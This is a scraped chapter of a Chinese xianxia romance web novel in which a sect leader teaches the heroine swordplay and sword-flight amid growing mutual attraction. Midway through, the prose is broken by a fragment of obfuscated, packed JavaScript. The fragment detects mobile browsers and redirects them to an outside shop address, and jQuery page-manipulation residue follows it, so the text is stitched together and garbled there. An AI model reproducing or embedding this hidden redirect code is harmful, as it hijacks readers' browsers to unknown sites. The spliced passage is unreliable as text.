晏晦明原来是个爱在小事上斤斤计较的人,应璇腹诽。
一个调皮逗乐的剑灵,值得他大费周章吗?
应璇被他收绞的动作激得心惊肉跳,生怕他下一步又做出些什么匪夷所思的行为,迂回道:“你出关啦?你不在,我自然是在想你了。”
他淡声反驳她,“说谎。”
“怎会?”应璇蜷起手放在心口,抿抿唇,中气十足,“你是我半个师父,你的意见无比重要,你既不喜欢他,我自是会头也不回地远离!”
他沉默几息,音色里夹杂着微不可察的愉悦,“你最好说到做到。”
周身的冷气散开,晏晦明的身形在她眼前由薄雾过渡清晰,他目光冷淡地巡视周围,收拢掌心,阁内的灵器们就一致嗡嗡震动起来。
应璇拍拍胸口,顺了口气。
他看向应璇,“你的灵器不在这。”
应璇失落地“啊”了声。
灵器们躁动的声响停下来,一柄反着清光的长剑从角落飞到两人之间,停在半空,晏晦明将剑推至她面前,“称手的剑,可以收一柄玩玩。”
应璇伸出双手,合力握住剑柄,听他道:“这是青苒剑,剑意绵长,胜在能给人致幻,唤醒人最伤痛的记忆,以情动心,让敌人痛不欲生。”
她收了剑,脸上却未展颜欢笑,反而更添愁容。
“不喜欢?”晏晦明闪到她身侧,把住她握剑的手,教她感应剑的灵气。
应璇耷拉下脑袋,闷声说:“不是。今日有几位师兄说要和我比试,他们说我若用剑,一定比不过他们。”
她嘟哝着抬眼,朝他探身,“你可以给我找一柄最厉害的剑吗?”
晏晦明伸指点着她额心将她推开,“以剑比武,并不是看你有多厉害的剑,而是用剑之人,如何使用。剑之闻名,恰恰是用剑之人将剑术练到了出神入化的地步。”
他话锋一转,“就比如今晚的紫临剑,他和他的主人已人剑合一,他的主人如果需要他,他便有了用武之地。他主人不需要,他也只是这天机阁里陈列的其中一柄你压根不会注意到它的武器。”
“他在这,是因为主人抛弃他了?”应璇望着不远处的紫临剑,牵扯心扉的熟悉感又爬上心间。
“不是。”晏晦明循着她的视线,隐去了紫临剑的真身,“是我将他抓来此处。”
简直匪夷所思。
“你还有绑架他人灵器的癖好?”应璇对这一屋子里的灵器多了份同情的眼光,“他们,不会都是你收拢回来的吧?”
晏晦明轻呵,“我没这么无聊。”
难怪他会对紫临碰她有那么大的反应。
“你和他主人有仇?”原身涌上来的记忆总是残缺的幻影,应璇想,原身和紫临剑的主人,一定有着很深的关系,记忆里的情绪感染着她,“一个剑修,失去了他的剑会怎样?”
晏晦明的眼色霎时黯淡下来,挖苦道:“你就这么关心他。”
诶?他这语气怎么听着一股酸味。
应璇抱臂,没头没脑道:“我心怀大爱,就喜欢没事关心关心他人。掌门大人想要小的关心的话,我也会大献殷勤的。”
晏晦明的唇角上扬,眼神里对她的话依旧不耻。
“我跟他打了一战,双方重伤持平,他夺了我一样很重要的东西。”晏晦明的视线抓住她游走的目光,最终和她相视,“公平起见,我将他的剑收押在天机阁。”
“很重要的东西?”应璇放下剑,连忙侧耳,很是好奇,“是什么啊?”
晏晦明敛目,而后揽住她的肩身,从天机阁的穹顶破出,他话里笃定,“快了,再给我一点时间,你会知道的。”
他们在一处桃花崖旁落下,小瀑布的水从半路俯冲而下,幽静的夜色下发出与之违和的哗哗巨响。
“我的真身尚在养伤,元神出窍不可离体过久,从今夜起,我每日带你来此处教你练剑。”晏晦明站在她身后,地面的影子完全将她隐在其下。
她本就生得瘦小,天生不占优势,他几乎将她拢在了怀内。
“闭眼,气沉至腹腔,聚灵到手臂,让剑意先进入你的经脉,她接受了你,你才能灵活地使用她。”晏晦明一步步引着她,从一无所感到剑有了反应。
她眼前本是空洞地黑,渐渐的,远处一点光亮由一个小圆点往外扩张成广阔无垠的天地,指尖出有舒枝展叶的绽放感沿着她的手臂内侧往上攀升,那片白地便顷刻长出了数片青绿藤萝。
晏晦明手托住她一只手背,指根带动她掐点剑诀,他一只脚插进她双脚缝隙,带动她迈开腿,握剑的手被抬起,一股经流蹿走至右手,剑身泠泠轻响,发出能照耀方寸的青光。
出腿,俯身前推,剑端朝上刺去,而后飞快向后侧倾,剑转右滑,在半空划出一个漂亮的半圆,他推动她,腕部稍稍使力,一道轻快却锋利的剑风便朝桃树斩去,倏然,片片嫩粉花瓣打着旋纷纷扬扬落下。
应璇的视线被满目桃花扑满,剑身一转,横面贴住她的腰身,晏晦明后倒而去,她便顺势倒入他胸膛,脚尖点地后滑,发丝飞扬,妖娆地舞动,在他鼻息缠绵。
他轻阖双目,捏住她手腕绕腰点地,一个腾空翻身,剑端下挑,桃花又被自下而上地掀起。他们飞入瀑布中心突出的那块缓冲石,往前倒身倒立刺下,“轰——”
水花溅炸,劈开十余米高的白浪。
他们旋身而下,脚尖点水走步,在岸边停下。
炸开的水珠将他们的外衣浸湿,微微贴在里侧的袍子,晏晦明的腰身被南啸缠绕,总是收束的模样,此时被水浇淋,更显胸腹比例。
她抬手用手背蹭去下巴的水汽,眼睛却不免在他身上多停留几分。
【检测到攻略对象好感+30,当前好感值-80。】
应璇微愣,疑惑地“嗯”了一声。
闻声,晏晦明的抬眼朝她看去,神秀俊朗的五官在月色加持下,隐去了平日里的冷肃,像一壶温得恰好的酒,瞧得她微熏酒醉,脸颊上浮出浅浅陀红。
应璇的手无处安放,时而蹭下额头,时而擦蹭下颌,不禁暗叫,她迟早得想个办法把播报给关了,让晏晦明也不能听到。
“今、今晚差不多了,我想回去休息。”应璇找机会开溜,说着扭头就要走,谁知,面前是悬崖,她脚步凌乱,慌慌张张换了个方向,瀑布挡道,再次断了她的去路。
身后一声浅笑,他的调侃声紧随其后,“我尚未教你御剑,你是想从爬回去,还是游回去?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581808|203465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>应璇在心里哎呀一声,崩溃地抓挠了把自己的头发,才慢吞地转过身。
凌乱的呆毛在她头顶竖起,清透的眼眸被水打得雾蒙蒙的,浓密的睫毛湿哒哒黏在一块,不太情愿四个大字就差写在脸上,稍显狼狈却比平日里娇俏可爱。
双目在她微微嘟起的唇面停下,晏晦明的喉结一滚,那夜匆忙一触被她重拳打断,他竟不知,她那张说话处处剜他的唇,饱满欲滴得像含苞欲放的花苞,让人难忍蹂躏之心。
“过来。”他声线一沉,语气却无比温柔。
似是耐心耗尽,他勾指用灵力将她拉至身前,与他面对面而立。
“很多天没见你,让我好好看看。”晏晦明循着她小巧的脸往下左右巡视了圈,他慢挑的目光像一台严密的机器,看得她焦灼。
应璇交叉双手要去挡脸,被他捏着手腕拿下。
她下颌清晰了一毫,应是偷懒没有好好吃饭。
眼下有不太明显的乌青,夜里应是没睡好。
她在想什么?焦虑什么?又或是期待什么?
晏晦明都想一并知道,可惜,他修炼到至高境界,也无法拥有读心的本事。
“你看好了吗?”应璇失去耐心但又不好意思直说,语调轻缓婉转,还是被他听出来了。
跟他相处,她总是没什么耐力。
“十几天不见,不会有什么太大的变化。”应璇很是客气,“掌门你不必体心。”
“有的。”他轻声说。
应璇费力地想,“什么?”
晏晦明了如指掌地细数:发尾的头发有些燥,指尖变长长了,灵脉运转得比此前更为流畅,鞋子上多了些泥灰和划痕,手心有还未成型的茧……
但他什么也没有说,注意到她打了个困倦的哈欠,不再勉强,“双手合十,用今夜教你的办法去感应剑,掐诀让它主动俯在你身下。”
应璇像是得到了“下课”的信号,赶忙照做。
剑身立在她面前,凌光四射,发出“吭吭”之响,她运力往前一推,青苒剑便主动后退,在离她一步之遥缓缓下沉,随即,她收拢指尖,隔空转动剑身朝向,剑便听话地随她任意变换角度,片刻后,便停浮在她刚好方便上剑的高度,等她御剑。
应璇欣喜跳步,朝晏晦明扭过身,言笑晏晏,如桃花绽开,满目娇容。
晏晦明颔首认同,示意她继续。
她沉浸其中,小心翼翼地踩上剑,张开双臂,左右摇摆着腾飞起来,茭白月色反着湖面的水光,夜露浓重,却把她照得清亮,瀑布的巨响掩盖住他的所有心思。
不得不说,她的理解和学习能力从来不需要第二次机会,晏晦明与她同感喜乐,与此同时,强烈的抽离感鞭笞着他。
即便点拨之人不是他,她也能一并学会并立马投入运用。
她似乎,很快就会不需要他了。
“唔啊——”她自由的高呵在天边拉长,打破他的忧思。
应璇初次自己御剑,尝鲜似越飞越高,像只刚学会飞行的鹰,漫无目的地展臂俯冲,她遥遥朝晏晦明招手。
晏晦明伟岸宽阔的身形变成渺小的点,他回以招手,应璇朝他飞来,逐渐看清他的面庞,许是看错,她竟在他眼里捕捉到些许不舍。